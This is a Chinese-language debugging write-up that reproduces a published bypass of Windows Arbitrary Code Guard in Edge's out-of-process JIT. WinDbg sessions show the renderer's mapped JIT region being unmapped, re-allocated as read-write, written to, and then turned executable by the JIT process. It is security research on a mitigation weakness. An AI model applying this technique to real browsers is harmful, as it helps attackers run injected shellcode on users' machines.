ACG bypass using UnmapViewOfFile 调试笔记
作者:b2ahex
1. 背景介绍
测试 project-zero 研究员 ifratric 提出的绕过ACG缓解的方法,原文:ACG bypass using UnmapViewOfFile
Windows 加入ACG(Arbitrary Code Guard) 缓解之后把脚本引擎的JIT编译功能放到一个单独的Edge进程中,当渲染进程需要执行JIT功能时通过RPC将目标字节码发送到JIT进程,由JIT进程编译生成本地代码并将其映射回原来的请求进程中执行。
2. 利用流程
JIT进程写回本地代码之前有如下几个步骤:
a.使用 CreateFileMapping() 创建内存映像对象
b.使用 MapViewOfFile2() 将它映射到请求进程中,在请求进程中的内存标志为RESERVE,不包含可写属性
c.当JIT进程需要写入数据时调用 VirtualAllocEx() 从之前映射的内存中申请内存,即使内存已经分配也会调用成功,包含 PAGE_EXECUTE
获取可执行内存思路:
在JIT进程调用 VirtualAllocEx() 之前停止内存映射(UnmapViewOfFile),在相同位置申请虚拟内存标记可写,写入shellcode到一个合理的位置,由JIT进程调用 VirtualAllocEx() 将这段内存改回可执行标志。
3. 上调试器
调试记录如下:
附加JIT进程
0:018> bp kernelbase!virtualallocex
0:018> g
Breakpoint 0 hit
KERNELBASE!VirtualAllocEx:
00007ffc`1d25e170 4883ec38 sub rsp,38h
0:009> k
# Child-SP RetAddr Call Site
00 00000080`f01fd648 00007ffc`12583104 KERNELBASE!VirtualAllocEx
01 00000080`f01fd650 00007ffc`00422dcd EShims!NS_ACGLockdownTelemetry::APIHook_VirtualAllocEx+0x14
02 00000080`f01fd690 00007ffc`0042203e chakra!Memory::PreReservedSectionAllocWrapper::Alloc+0xd5
03 00000080`f01fd710 00007ffc`0040564e chakra!Memory::HeapPageAllocator<Memory::PreReservedSectionAllocWrapper>::CreateSecondaryAllocator+0x5e
04 00000080`f01fd750 00007ffc`00405548 chakra!Memory::SegmentBase<Memory::PreReservedSectionAllocWrapper>::Initialize+0xe6
05 00000080`f01fd7b0 00007ffc`004224b8 chakra!Memory::PageAllocatorBase<Memory::PreReservedSectionAllocWrapper,Memory::SegmentBase<Memory::PreReservedSectionAllocWrapper>,Memory::PageSegmentBase<Memory::PreReservedSectionAllocWrapper> >::AllocPageSegment+0xa8
06 00000080`f01fd810 00007ffc`00421e7a chakra!Memory::PageAllocatorBase<Memory::PreReservedSectionAllocWrapper,Memory::SegmentBase<Memory::PreReservedSectionAllocWrapper>,Memory::PageSegmentBase<Memory::PreReservedSectionAllocWrapper> >::SnailAllocPages<1>+0xa0
07 00000080`f01fd8d0 00007ffc`00421488 chakra!Memory::CustomHeap::CodePageAllocators<Memory::SectionAllocWrapper,Memory::PreReservedSectionAllocWrapper>::AllocPages+0x72
08 00000080`f01fd940 00007ffc`00421210 chakra!Memory::CustomHeap::Heap<Memory::SectionAllocWrapper,Memory::PreReservedSectionAllocWrapper>::AllocNewPage+0x68
09 00000080`f01fd9c0 00007ffc`00420e14 chakra!Memory::CustomHeap::Heap<Memory::SectionAllocWrapper,Memory::PreReservedSectionAllocWrapper>::Alloc+0x9c
0a 00000080`f01fda70 00007ffc`00420cae chakra!EmitBufferManager<Memory::SectionAllocWrapper,Memory::PreReservedSectionAllocWrapper,CriticalSection>::NewAllocation+0x58
0b 00000080`f01fdb00 00007ffc`005299dc chakra!JITOutput::RecordOOPNativeCodeSize+0x8e
0c 00000080`f01fdb90 00007ffc`00575506 chakra!Encoder::Encode+0x9dc
0d 00000080`f01fdd10 00007ffc`006604e5 chakra!Func::TryCodegen+0x356
0e 00000080`f01fe5b0 00007ffc`0044c00e chakra!Func::Codegen+0xed
0f 00000080`f01fe9e0 00007ffc`0044be54 chakra!<lambda_869fb2da08ff617a0f58153cb1331989>::operator()+0x166
10 00000080`f01feb00 00007ffc`0044bde2 chakra!ServerCallWrapper<<lambda_869fb2da08ff617a0f58153cb1331989> >+0x54
11 00000080`f01feb50 00007ffc`0044bd85 chakra!ServerCallWrapper<<lambda_869fb2da08ff617a0f58153cb1331989> >+0x4e
12 00000080`f01febc0 00007ffc`201a6d13 chakra!ServerRemoteCodeGen+0x75
13 00000080`f01fec30 00007ffc`20209390 RPCRT4!Invoke+0x73
14 00000080`f01fec90 00007ffc`20133718 RPCRT4!Ndr64StubWorker+0xbb0
15 00000080`f01ff340 00007ffc`201573b4 RPCRT4!NdrServerCallNdr64+0x38
16 00000080`f01ff390 00007ffc`2015654e RPCRT4!DispatchToStubInCNoAvrf+0x24
17 00000080`f01ff3e0 00007ffc`20156f84 RPCRT4!RPC_INTERFACE::DispatchToStubWorker+0x1be
18 00000080`f01ff4b0 00007ffc`20160693 RPCRT4!RPC_INTERFACE::DispatchToStubWithObject+0x154
19 00000080`f01ff550 00007ffc`20161396 RPCRT4!LRPC_SCALL::DispatchRequest+0x183
1a 00000080`f01ff630 00007ffc`2015d11e RPCRT4!LRPC_SCALL::HandleRequest+0x996
1b 00000080`f01ff740 00007ffc`2015e843 RPCRT4!LRPC_ADDRESS::HandleRequest+0x34e
1c 00000080`f01ff7f0 00007ffc`2018cc58 RPCRT4!LRPC_ADDRESS::ProcessIO+0x8a3
1d 00000080`f01ff930 00007ffc`202b65ae RPCRT4!LrpcIoComplete+0xd8
1e 00000080`f01ff9d0 00007ffc`202b4b26 ntdll!TppAlpcpExecuteCallback+0x22e
1f 00000080`f01ffa50 00007ffc`1f801fe4 ntdll!TppWorkerThread+0x886
20 00000080`f01ffde0 00007ffc`202eef91 KERNEL32!BaseThreadInitThunk+0x14
21 00000080`f01ffe10 00000000`00000000 ntdll!RtlUserThreadStart+0x21
0:009> r
rax=0000000040000010 rbx=0000020e8001e000 rcx=000000000000064c
rdx=0000020e8001e000 rsi=0000000000000001 rdi=00000216a0524ca0
rip=00007ffc1d25e170 rsp=00000080f01fd648 rbp=00000216a0524ea8
r8=0000000000002000 r9=0000000000001000 r10=00000216a0525250
r11=1000000000000000 r12=00000216a0525128 r13=0000000000001000
r14=0000020e80000000 r15=0000000000000000
iopl=0 nv up ei pl nz na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
确认在 chakra!ServerRemoteCodeGen 流程中,rdx(0000020e8001e000)是申请页面的虚拟地址,再开一个windbg附加到渲染进程,查看这个地址内存信息:
0:028> !address 0000020e8001e000
Usage: MappedFile
Base Address: 0000020e`80000000
End Address: 0000020e`90000000
Region Size: 00000000`10000000 ( 256.000 MB)
State: 00002000 MEM_RESERVE
Protect: <info not present at the target>
Type: 00040000 MEM_MAPPED
Allocation Base: 0000020e`80000000
Allocation Protect: 00000010 PAGE_EXECUTE
Mapped file name: PageFile
此时状态不可写,Unmap掉这段内存,重新申请并标记PAGE_READWRITE
0:028> r rip=kernelbase!unmapviewoffile
0:028> r rcx=0000020e`80000000
0:028> p
...
0:028> !address 0000020e8001e000
Usage: Free
Base Address: 0000004b`c3b50000
End Address: 0000020e`f0a50000
Region Size: 000001c3`2cf00000 ( 1.762 TB)
State: 00010000 MEM_FREE
Protect: 00000001 PAGE_NOACCESS
Type: <info not present at the target>
0:028> r rip=kernelbase!virtualalloc
0:028> r rcx=0000020e8001e000
0:028> r rdx=2000
0:028> r r8=3000
0:028> r r9=4
0:028> p
...
KERNELBASE!VirtualAlloc+0x5c:
00007ffc`1d24e03c c3 ret
0:028> r rax
rax=0000020e80010000
0:028> !address 0000020e8001e000
Usage: <unknown>
Base Address: 0000020e`80010000
End Address: 0000020e`80020000
Region Size: 00000000`00010000 ( 64.000 kB)
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE
Type: 00020000 MEM_PRIVATE
Allocation Base: 0000020e`80010000
Allocation Protect: 00000004 PAGE_READWRITE
向原地址写入测试数据:
回到JIT进程执行VirtualAllocEx(),再次查看原地址内存信息:
此时我们写入的数据还在,同时内存变为PAGE_EXECUTE